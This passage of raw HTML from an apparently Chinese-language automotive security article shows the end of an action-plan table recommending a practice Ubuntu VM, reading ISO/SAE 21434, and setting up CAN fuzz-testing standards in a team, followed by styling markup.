1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">1<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u4e0b\u8f7dUbuntu\u865a\u62df\u673a\uff0c\u5b8c\u6210\u672c\u6587\u6240\u6709\u5b9e\u64cd\u6b65\u9aa4<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 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solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">3<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u9605\u8bfbISO\/SAE 21434\u6807\u51c6\u539f\u6587\uff0c\u5efa\u7acb\u6c7d\u8f66\u5b89\u5168\u7684\u7cfb\u7edf\u8ba4\u77e5<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u957f\u671f\u5b66\u4e60<\/span><\/section>\n<\/td>\n<\/tr>\n<tr style=\"background: rgb(245, 247, 255);\">\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">4<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;\">\n<section><span leaf=\"\">\u5728\u56e2\u961f\u4e2d\u63a8\u5e7fCAN\u5b89\u5168\u6d4b\u8bd5\uff0c\u5efa\u7acb\u6a21\u7cca\u6d4b\u8bd5\u89c4\u8303<\/span><\/section>\n<\/td>\n<td style=\"border: 1px solid rgb(136, 204, 136);padding: 10px 12px;text-align: center;\">\n<section><span leaf=\"\">\u6301\u7eed\u63a8\u8fdb<\/span><\/section>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<section><span leaf=\"\"><br  \/><\/span><\/section>\n<p style=\"color: rgb(44, 44, 44);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;\"><span style=\"color: rgb(192, 57, 43);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 245, 245);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, &quot;Helvetica Neue&quot;, sans-serif;font-size: 13px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;\"><span style=\"color: rgb(136, 136, 136);font-family: &quot;PingFang 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